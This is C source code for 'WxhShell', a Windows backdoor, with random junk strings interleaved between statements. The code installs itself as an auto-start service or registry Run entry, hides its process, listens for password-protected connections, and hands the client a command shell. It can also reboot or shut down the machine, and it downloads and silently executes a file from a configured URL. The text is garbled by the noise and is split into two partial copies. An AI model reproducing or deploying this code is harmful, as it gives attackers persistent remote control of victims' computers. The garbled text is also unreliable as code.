(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S2i*Li NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M}fk[Yr> ^/~ZP?%] if (!NtQueryInformationProcess) return 0; /
f5q9sp8 22OfbwCb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5bB\i79$ if(!hProcess) return 0; vmzc0J+3p .}9Lj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o;TS69|D %1oB!+tv CloseHandle(hProcess); CZ33|w
dzQs7D} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -1{f(/ if(hProcess==NULL) return 0; :
E`78 Tbp;xv_qo HMODULE hMod; O=[Q>\p char procName[255]; $PstEL unsigned long cbNeeded; q4#$ca[_ak DFkDlx if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C:AD ZJL {^D; ($lm CloseHandle(hProcess); =,b6yV+$D ;Rlf[](iL if(strstr(procName,"services")) return 1; // 以服务启动 ^Ig QIN Sa[?B return 0; // 注册表启动 iE EP~ } XJ!?>)N . BOOb{kcg // 主模块 o|$r;<o3R int StartWxhshell(LPSTR lpCmdLine) `?{6L# { c/7}5#Rs SOCKET wsl; 6gabnW3 BOOL val=TRUE; [_eT{v2B4 int port=0; (mr*Thy`@ struct sockaddr_in door; -{}(U 6B|OKwL if(wscfg.ws_autoins) Install(); Lv?jg?$ R;w$_1 port=atoi(lpCmdLine); ch2m Ei( <5E)6c_W) if(port<=0) port=wscfg.ws_port; xM=ydRu PR/>E60H WSADATA data; MDQ:6Ri if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !</U"P:L Y<IuwS if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *
V7bALY setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a ~YrQI-@ door.sin_family = AF_INET; |$;4/cKfy door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zor!hc0< door.sin_port = htons(port); a"i(.(9$J \K9.]PfbI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GSs?!BIC closesocket(wsl); )Tieef*Q~ return 1; s2(7z9jR } x ;~;Ah.p n=)LB&
m if(listen(wsl,2) == INVALID_SOCKET) { Hs$HeAp; closesocket(wsl); OLtXk return 1; Wy\^} } ]#[4eaCg Wxhshell(wsl); ,{\Ae"{6 WSACleanup(); $vK,Gugcx xbxzB<yL return 0; Y}xM&% r@zs4N0WP } {\`y)k 7 GGo~39G // 以NT服务方式启动 "N">RjJ" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~3-"1E>Rgy { mZXtHFMu DWORD status = 0; $0x+b!_l@ DWORD specificError = 0xfffffff; c#CV5J\Kk3 m,"-/) serviceStatus.dwServiceType = SERVICE_WIN32; R>Dr1fc} serviceStatus.dwCurrentState = SERVICE_START_PENDING; (&87 zk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pacD7'1{
serviceStatus.dwWin32ExitCode = 0; Nmd{C(^o serviceStatus.dwServiceSpecificExitCode = 0;
3Z`"k2k serviceStatus.dwCheckPoint = 0; }A]eC
serviceStatus.dwWaitHint = 0; Tt9cX}&& j/Y]3RSMp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N@Oe[X8 if (hServiceStatusHandle==0) return; 3=o4ncg( cHVJ7yAZI status = GetLastError(); mR|5$1[b if (status!=NO_ERROR) x_I*6? {
qou\4YZ serviceStatus.dwCurrentState = SERVICE_STOPPED; */JYP + serviceStatus.dwCheckPoint = 0; E%;$vj'2 serviceStatus.dwWaitHint = 0; gvc/Z <Y serviceStatus.dwWin32ExitCode = status; 1_Ks*7vuq serviceStatus.dwServiceSpecificExitCode = specificError; TDbSK&w :s SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94et ]u%7 return; Nd"IW${Kg } IiRQ-,t1 "f<gZsb serviceStatus.dwCurrentState = SERVICE_RUNNING; pZK 1G serviceStatus.dwCheckPoint = 0; ;du},>T$n serviceStatus.dwWaitHint = 0; u{va2n/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &o7PB`(l } J_7@d]0R s3m\ // 处理NT服务事件,比如:启动、停止 ]" e'z VOID WINAPI NTServiceHandler(DWORD fdwControl) :!Dm,PP% { yGNpx3H
switch(fdwControl) }y+Qj6dP { 8m=R"
%h case SERVICE_CONTROL_STOP: k!z<=WA serviceStatus.dwWin32ExitCode = 0; ]LZ#[xnM7 serviceStatus.dwCurrentState = SERVICE_STOPPED; $Zo|ta^ serviceStatus.dwCheckPoint = 0; ykJ+LS{+ serviceStatus.dwWaitHint = 0; 6M`gy|"(~ { 4h_YVG]ur SetServiceStatus(hServiceStatusHandle, &serviceStatus); aem gGw< } ;+(_stxqV9 return; 3) d}3w { case SERVICE_CONTROL_PAUSE: -0<vmU serviceStatus.dwCurrentState = SERVICE_PAUSED; L fcy#3! break; 8f[ztT0`g case SERVICE_CONTROL_CONTINUE: n"aF#HR?0d serviceStatus.dwCurrentState = SERVICE_RUNNING; X<. l(9$ break; ~XP|dn} case SERVICE_CONTROL_INTERROGATE: !QvmzuK break; 52j3[in }; 62,dFM7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ilVi } HfhI9f_ x Kr'? h'F // 标准应用程序主函数 9 Xl#$d5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cw(yp u { YLTg(*
#$ k1w@ // 获取操作系统版本 6,jCO@!
OsIsNt=GetOsVer(); mRC3w(W GetModuleFileName(NULL,ExeFile,MAX_PATH); !ry+{v+A dmXfz D // 从命令行安装 =bja\r{ if(strpbrk(lpCmdLine,"iI")) Install(); IAGY-+8e hKN ;tq, // 下载执行文件 g.di3GGi if(wscfg.ws_downexe) { =y@0il+V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >itabG-& WinExec(wscfg.ws_filenam,SW_HIDE); 6lg]5d2CD } _*?qOmf= ;SjNZi)4d if(!OsIsNt) { /3rNX}tOMH // 如果时win9x,隐藏进程并且设置为注册表启动 UP)<(3YA HideProc(); d9U)O6= StartWxhshell(lpCmdLine); ezL1,GT } 4t
}wMOR else LI3L~6A> if(StartFromService()) 5EVypw?]x // 以服务方式启动 bri8o" StartServiceCtrlDispatcher(DispatchTable); Q>+rjN; else 5NN;Fw+ // 普通方式启动 v!ai_d^ StartWxhshell(lpCmdLine); \xggIW.^0 ?)(/SZC0 return 0; ~' 955fK> } xrBM`Bj0@ J|^XD<Y CC"a2Hu/ i}C%8}% =========================================== 56c[$ q _<mY| Kn1;=k uQn1kI[y ;a@riPqx! j0~c2 " z7:*
,X Ad-5Znc5 #include <stdio.h> xSM1b5=Pu #include <string.h> xFThs,w #include <windows.h> ^swj!da #include <winsock2.h> =8tK]lb #include <winsvc.h> "\}h #include <urlmon.h> .),9qz` gfIS #pragma comment (lib, "Ws2_32.lib") -V~Fj~b# #pragma comment (lib, "urlmon.lib")
<a=OiY ?0KIM*
. #define MAX_USER 100 // 最大客户端连接数 yl@Nyu #define BUF_SOCK 200 // sock buffer 2SlL`hN>Z #define KEY_BUFF 255 // 输入 buffer uK(]@H7~!c %{ rb,6 #define REBOOT 0 // 重启 >jmHe^rH #define SHUTDOWN 1 // 关机 XY? Cl }0anssC #define DEF_PORT 5000 // 监听端口 2BF455e z?Z"*z #define REG_LEN 16 // 注册表键长度 GJQ>VI2cY #define SVC_LEN 80 // NT服务名长度 hG#2}K_ cU ?F D // 从dll定义API | Z7j
s" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T_UJ?W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pT~3<
, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `'XN2-M8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )hQ]>o@i{ OS<GAA0 // wxhshell配置信息 P/WGB~NH struct WSCFG { =ca[*0^Z7 int ws_port; // 监听端口 t@MUNW`Q char ws_passstr[REG_LEN]; // 口令 H$WD7/?j int ws_autoins; // 安装标记, 1=yes 0=no }xBO; char ws_regname[REG_LEN]; // 注册表键名 }s'=w]m char ws_svcname[REG_LEN]; // 服务名 WH39=)D%u char ws_svcdisp[SVC_LEN]; // 服务显示名 ,66(*\xT char ws_svcdesc[SVC_LEN]; // 服务描述信息 0$-|Th:o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ev3'EA~` int ws_downexe; // 下载执行标记, 1=yes 0=no q&9]4j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4t%Lo2v!X% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?#&[1.= u 8O{V#aop }; ~Yl.(R <{;'0> ToM // default Wxhshell configuration ,38M6yD struct WSCFG wscfg={DEF_PORT, [ypE[ "xuhuanlingzhe", :XAyMK7 1, 4B[pQlg "Wxhshell", 9-_Lc< "Wxhshell", ?F$ #t6Q "WxhShell Service", jP}Ry=V/ "Wrsky Windows CmdShell Service", : 4-pnn "Please Input Your Password: ", (7!pc 1, wexX|B^u "http://www.wrsky.com/wxhshell.exe", "O$WfpKX "Wxhshell.exe" >+;}"J }; KTmwkZcfYD SD%3B!cpX // 消息定义模块 E'mT%@MOM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1GkoE char *msg_ws_prompt="\n\r? for help\n\r#>"; $gYGnh_,Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uj 4HVd char *msg_ws_ext="\n\rExit."; m*iSW]& char *msg_ws_end="\n\rQuit."; t(PA+~sIp char *msg_ws_boot="\n\rReboot..."; .L1[Rv3 char *msg_ws_poff="\n\rShutdown..."; SCMvq?9 char *msg_ws_down="\n\rSave to "; !UPB4I OKau3T] char *msg_ws_err="\n\rErr!"; 'ta&qp char *msg_ws_ok="\n\rOK!"; =Xid"$ M
e:l)8+ char ExeFile[MAX_PATH]; 3 @O/#CP+ int nUser = 0; 1lA? 5: HANDLE handles[MAX_USER]; xqlnHf<G int OsIsNt; v;?W|kJ.u p(4B"[ !S SERVICE_STATUS serviceStatus; wfu`(4 SERVICE_STATUS_HANDLE hServiceStatusHandle; dikX_ Q>D KX!/n`2u // 函数声明 !~7lY]_U int Install(void); /?Y4C)G int Uninstall(void); x+%> 2qgj" int DownloadFile(char *sURL, SOCKET wsh); ${ DSH int Boot(int flag); 'ju_l)(R void HideProc(void); d0%Wz5Np int GetOsVer(void); b 5K"lPr int Wxhshell(SOCKET wsl); vF@|cTRR) void TalkWithClient(void *cs); {A
,w% int CmdShell(SOCKET sock); &E!m(|6?+ int StartFromService(void); wNFx1u^/) int StartWxhshell(LPSTR lpCmdLine); L9,GUtK{ m`xYd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e iH&<AH VOID WINAPI NTServiceHandler( DWORD fdwControl ); V5
9Vf[i| wXdt\@Qr // 数据结构和表定义 [?,+DY SERVICE_TABLE_ENTRY DispatchTable[] = Y37qjV { EUgKJ=jw {wscfg.ws_svcname, NTServiceMain}, /9D
mK%d {NULL, NULL}
}LEasj }; \>j@!W uz3 ?c6b // 自我安装 O\]{6+$fm! int Install(void) wJgGw5 { 0d~?|Nv - char svExeFile[MAX_PATH]; pD~."fb HKEY key; 5yV>-XT+- strcpy(svExeFile,ExeFile); C\bJ_vl;' O_
$ zK // 如果是win9x系统,修改注册表设为自启动 _]3#C[1L if(!OsIsNt) { W5Jb5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fv*
$=m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ].QzOV' RegCloseKey(key); Y~#.otBL& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { awQB0ow'$P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z<yqQ[ RegCloseKey(key); w#L`|cYCm return 0; &wkbr2P } !{g>g%2! } aE:$ N#|Qa } 'XYjo&w else { Fs=E8' b *J4\KU // 如果是NT以上系统,安装为系统服务 bi-z%!Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t|UM2h if (schSCManager!=0) _4k zlD { oHV!>K_D SC_HANDLE schService = CreateService x;STt3M~ ( d:z7
U schSCManager, RWJyd= wscfg.ws_svcname, ^O"o-3dte wscfg.ws_svcdisp, {
"f}
}}l SERVICE_ALL_ACCESS, \x8'K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W<~u0AyO
3 SERVICE_AUTO_START, .=Uu{F SERVICE_ERROR_NORMAL, $TAsb>W!( svExeFile, S\k(0Sv9D NULL, ,x[~|J! NULL, m^tf=O< NULL, [zCKJR NULL, G*zhy!P NULL G{a_\'7 ); mJVru0 if (schService!=0) ZJjm r,1 { +' .o CloseServiceHandle(schService); _2}/rwVg CloseServiceHandle(schSCManager); R?2T0^0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OeQ~g-n strcat(svExeFile,wscfg.ws_svcname); 9}G<\y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [bBPs&7u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "Z-YZ>2 RegCloseKey(key); +\cG{n* return 0; ZYTBc#f } 3#`Sk`z< } IfCa6g<&( CloseServiceHandle(schSCManager); H"pwIiC } `TDS4Y } J
p0j RAxp2uif return 1; U\"FYTC } R\u5!M$:: j>hBNz // 自我卸载 AnBD~h h int Uninstall(void) ?Vi U%t8J5 { z{U^j:A HKEY key; <7MxI@\ ~=$d>ZNQ if(!OsIsNt) { OI^qX;#Kd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _xo;[rEw8 RegDeleteValue(key,wscfg.ws_regname); . H8 6f != RegCloseKey(key); #\3X;{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )=#zMdK& RegDeleteValue(key,wscfg.ws_regname); d!4:nvKx RegCloseKey(key); mP./e8 return 0; |Tk'H& } W;P8'_2Y } QM=Y}
} CYhSCT!-? else { qoC<qn{.a p!`S]\XEB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nX+c
HF if (schSCManager!=0) W`jKe-jF { F<2qwP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S@WT;Q2Z if (schService!=0) wG&rkg";# { AZbFj-^4 if(DeleteService(schService)!=0) { ]P4?jKI CloseServiceHandle(schService); B[7Fq[.mh CloseServiceHandle(schSCManager); F%:o6mT return 0; .oe\wJ S6 } ua%j}%G( CloseServiceHandle(schService); tAS[T9B } V6^=[s R CloseServiceHandle(schSCManager); +)*oPSQ5 } )1Z
@}o 9 } !/EN 3 E!F8GZ return 1; D'"l%p } #7naI*O $gaGaB // 从指定url下载文件 7_ 5-gtD int DownloadFile(char *sURL, SOCKET wsh) HurF4IsHk { Zy^ wS1io HRESULT hr; aj$&~-/
R char seps[]= "/"; }?,Eb~q char *token; :}ZY*ind char *file; x Z`h8 char myURL[MAX_PATH];
y7.oy" char myFILE[MAX_PATH]; SM[VHNr,- NrfAr}v'E strcpy(myURL,sURL); d5lD! token=strtok(myURL,seps); Jr,**,wA while(token!=NULL) YZ/2:[b { lQ?_1H~4= file=token; m~8=?R+m token=strtok(NULL,seps); 5DVSaI$ = } H:,Hr_;nC 'OsRQ)E GetCurrentDirectory(MAX_PATH,myFILE); s#)0- Zj strcat(myFILE, "\\"); ~.J{yrJ& strcat(myFILE, file); \&^U9=uq send(wsh,myFILE,strlen(myFILE),0); kFQx7m send(wsh,"...",3,0); y6 gaoj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GBGna3 if(hr==S_OK) 3ZX#6*(}2 return 0; ]oyWJ#8 else Lv:;} return 1; } v3w- \NQ[w7 } 2mfG:^^c He}"e&K // 系统电源模块 g ~>nT>6 int Boot(int flag) dIk9C|-. { :hDv^D?3 HANDLE hToken; ]nm(V TOKEN_PRIVILEGES tkp; QTjnXg?Ri E[Ao* if(OsIsNt) { G3.\x_;k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M8f[ ck LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Q;Vy t tkp.PrivilegeCount = 1; k~=P0"; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; km6O3>p5r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fq !CB]C if(flag==REBOOT) { z]1g;j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y|-:z@n6C return 0; v'SqH,=d } 5YQJNP else { %=i/MFGX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mN'sJ1L- return 0;
{5JYu } 1A N)% } 5$/Me=g< else { @Qd5a(5W M if(flag==REBOOT) { 6\6g-1B` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >*]B4Q return 0; L:Me } m0JJPBp else { qmq#(%Z <W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PH=O>a`a_O return 0; Hh &s.ja } z"V`8D } >UV?nXP} NtQ#su$ return 1; |i- S}M } phy:G}F6% Ob|v$C // win9x进程隐藏模块 HVNX"`]" void HideProc(void) +(oExp(! { }XRRM:B|)( CjLiLB
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h{CyYsQ if ( hKernel != NULL ) 6x@4gPy[ { pwo @
S" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W7.QK/@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^1X
6DH` FreeLibrary(hKernel); hu:x,;`9H } K]ds2Kp& b`|,rfq^AZ return; #6nuiSF } VQn]"G(` g>_d,#F // 获取操作系统版本 ? 1Uq ud int GetOsVer(void) nT@FSt { gHVD,Jr OSVERSIONINFO winfo; M|qJZ#{4> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -@/!u9l GetVersionEx(&winfo); 6R!AIOD> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (+;%zh- return 1; r%%< else -m Sf`1l0 return 0; ]wV_xZ)l^A }
u{|^5%) A"~Oi // 客户端句柄模块 G_6!w// int Wxhshell(SOCKET wsl) {Ty?OZ { 1f0maN SOCKET wsh; 3 /LW6W| struct sockaddr_in client; Z8WBOf*~e DWORD myID; )Z63 cr/ sKDL=c;?j while(nUser<MAX_USER) \w2X.2b.F { }1Pv6L(o) int nSize=sizeof(client); ,w7ZsI4:[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ Zzne if(wsh==INVALID_SOCKET) return 1; Q=#!wWVP h($Jo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `
NWmwmWB" if(handles[nUser]==0) !-q)9K? closesocket(wsh); hr/|Fn+kA else r+}<]?aT>- nUser++; 910N1E } :A`jRe. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Z% j=c"d ;`FR1KIg return 0; +<f!#4T } .,gVquqMY 'o-J)+oa // 关闭 socket Hu$JCB-% void CloseIt(SOCKET wsh) s7:w>,v/ { }xytV5a^ closesocket(wsh); )|<g\>/ nUser--; ]H=P(Z- ExitThread(0); *|)O } FO?I}G22 2w/qH4 // 客户端请求句柄 HG[gJ7 void TalkWithClient(void *cs) &Y$)s<u8. { DWu~%U8 <"x *ZT SOCKET wsh=(SOCKET)cs; r8[Ywn<u char pwd[SVC_LEN]; ]C$$Cx)Ex char cmd[KEY_BUFF]; 3E:+DF-Z\ char chr[1]; vjYG>YhV int i,j; [,q^\T q??N, while (nUser < MAX_USER) { <&=3g/Y Q?-u J1J if(wscfg.ws_passstr) { MpLn) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BaE}|4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S{qn^\0 //ZeroMemory(pwd,KEY_BUFF); q@iZo,Yk i=0; jp+#N
pH while(i<SVC_LEN) { kl9<l* T( sEk // 设置超时 ]=m0@JTbG fd_set FdRead; k{pn~)xg struct timeval TimeOut; >
V%3w7 FD_ZERO(&FdRead); ?=\_U FD_SET(wsh,&FdRead); @!s(Zkpev TimeOut.tv_sec=8; D[CEg2$y TimeOut.tv_usec=0; u^&,~n@n7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~aRcA|` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w0$l3^}z =s[P =d U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (1?k_!)T pwd=chr[0]; Ix'GP7-m_ if(chr[0]==0xd || chr[0]==0xa) { DwH=ln=
pwd=0; d)jX%Z$LC break; kNTxYJ } X.<2]V7! i++; 8rgNG7d } hOF>Dj )z2hyGX // 如果是非法用户,关闭 socket O,!4
W\s if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &1,qC,:! } WJ(E3bb T1pMe{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gzu $ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _K|513I N^&T5cAC while(1) { B=J/HiwV) IDr$Vu4LCW ZeroMemory(cmd,KEY_BUFF); 3ZU<u; \ .jT"Z~ // 自动支持客户端 telnet标准 p3(&9~s j=0; JIyIQg'5i while(j<KEY_BUFF) { 7U {g'< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >QM$
NIf@ cmd[j]=chr[0]; kVb8 $Sp if(chr[0]==0xa || chr[0]==0xd) { Gn%gSH/ cmd[j]=0; .]W A/} break; [XP3 } SvR? nN| j++; S[W|=(f9 } 5UHxB"`C Nm]\0m0p-
// 下载文件 _K"X if(strstr(cmd,"http://")) { jNA^
(|: send(wsh,msg_ws_down,strlen(msg_ws_down),0); E-q*u(IW if(DownloadFile(cmd,wsh)) ="*8ja-K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^zr]#`@G else 7`f',ZK% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `[5QouPV } 5=--+8[ bV else { s8<)lO<SV. 0jN?5j switch(cmd[0]) { Z[{ :
` 8L7ZWw
d // 帮助 qSWnv`hL case '?': { :h+gSvn: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "*E%?MG break; U3yIONlt } s$ 2@ |; // 安装 Qm X(s case 'i': { ~y(-j[ if(Install()) ,,>b=r_r& send(wsh,msg_ws_err,strlen(msg_ws_err),0); " '/$ZpY else ^#4?v^QNh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -v(.]`Wo&; break;
B)M& FO } kt; |
$ // 卸载 058+_xX case 'r': { BEzF'<Z if(Uninstall()) 6DG:imGl send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q7 Clr{& else 3:h9cO/9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^{T3lQvt break; x`vIY-DS } u9*}@{, // 显示 wxhshell 所在路径 9s-op:5 case 'p': { kgvB80$4 char svExeFile[MAX_PATH]; x_oL~~@ strcpy(svExeFile,"\n\r"); /i]!=~\qFs strcat(svExeFile,ExeFile); })R8VJ&C/ send(wsh,svExeFile,strlen(svExeFile),0); 6"Km E} break; [~ sXjaL8 } `!j|Ym // 重启 ~_Tm S9 case 'b': { ;y7V-sf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /QsFeH if(Boot(REBOOT)) <ealt send(wsh,msg_ws_err,strlen(msg_ws_err),0); ''Y}Q" else { w`vJE!4B closesocket(wsh); 6.Nu[-? ExitThread(0); tZ]|3wp } D@i,dPz5Zl break; .Y%)& } p0xd
c3 // 关机 Ok+zUA[Wu case 'd': { rdsm
/^,s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,R1`/aRy if(Boot(SHUTDOWN)) u":D{+wC| send(wsh,msg_ws_err,strlen(msg_ws_err),0); >o=3RB=Fh else { -}m#uUqI closesocket(wsh); UlHRA[SCv ExitThread(0); Hut
au^l } .[hQ#3)W break; ~EIY(^|py } oQC* d}_E} // 获取shell "msCiqF{z case 's': { A/N$ CmdShell(wsh); :5G3uN+\ closesocket(wsh); J<Wz3}w6 ExitThread(0); 8x
jJ break; W>Y8 u8 } K h9 $ // 退出 ,epKt(vl case 'x': { w|x=^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TR,,=3n CloseIt(wsh); C+Wb_ break; j=)Cyg3_% } t@1e9uR // 离开 (}fbs/8\p case 'q': { ch<Fi%) send(wsh,msg_ws_end,strlen(msg_ws_end),0); cve(pkl closesocket(wsh); 0}q ij WSACleanup(); i+yqsYKO exit(1); cI4%zeR break; *$x/(!UE } f)q\RJA)X } )#MKOsOct } ,~FyC_%*
(|Am // 提示信息 !arcQ:T@G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Trkow%F] } k0?4vA } g# :|Mjgh -Q;5A;sr2 return; [kzcsJ'/e } 6)P~3C' TH/!z,(> // shell模块句柄 MQ2gzKw> int CmdShell(SOCKET sock) }1w[G;$ { R! ?8F4G STARTUPINFO si; ]Ole#Lz}Q ZeroMemory(&si,sizeof(si)); :7IL|bA< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C/e`O|G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a=gTGG"9 PROCESS_INFORMATION ProcessInfo; ?]f+)tCMs char cmdline[]="cmd"; -B$oq8)n* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <\?ySto return 0; $Ha?:jSc } WUAjb,eo o(>!T=f // 自身启动模式 '/SMqmi int StartFromService(void) #O^H?3Q3 { $} l0Nh'Eu typedef struct bXc7$5(!VB { z7MJxjH DWORD ExitStatus; p*W4^2(d DWORD PebBaseAddress; P$2J`b[H$ DWORD AffinityMask; e>1^i;f DWORD BasePriority; _x z_D12 ULONG UniqueProcessId; {O#=%o[ ULONG InheritedFromUniqueProcessId; a<sEd p } PROCESS_BASIC_INFORMATION; 9#/z[! b^ly PROCNTQSIP NtQueryInformationProcess; TF|GGYi 0gHJ%m9s static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P$.Azrl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 29u"\f a 2j H` HANDLE hProcess; Uk-^n~y PROCESS_BASIC_INFORMATION pbi; G?e,Q$ :^3MN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vfp{7I$#6" if(NULL == hInst ) return 0; -n!.PsGO> )& %X
AW{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]s s0~2 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lh"Je-x<< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %S$`cp >AV-i$4eQ@ if (!NtQueryInformationProcess) return 0; >t'/(y fV
Ah</aZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SYB
}
e if(!hProcess) return 0; W )q^@6[d aT(Pf7
O if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0fXdE ;M3 #; E,>0 CloseHandle(hProcess); 0^]E-Zf N|z-s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :De}5BMy if(hProcess==NULL) return 0; vC$[Zm KKa"Ba$g HMODULE hMod; Q)C#)|S char procName[255]; h;^h[q1' unsigned long cbNeeded; K`j#'`/KC W4QVWn %3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
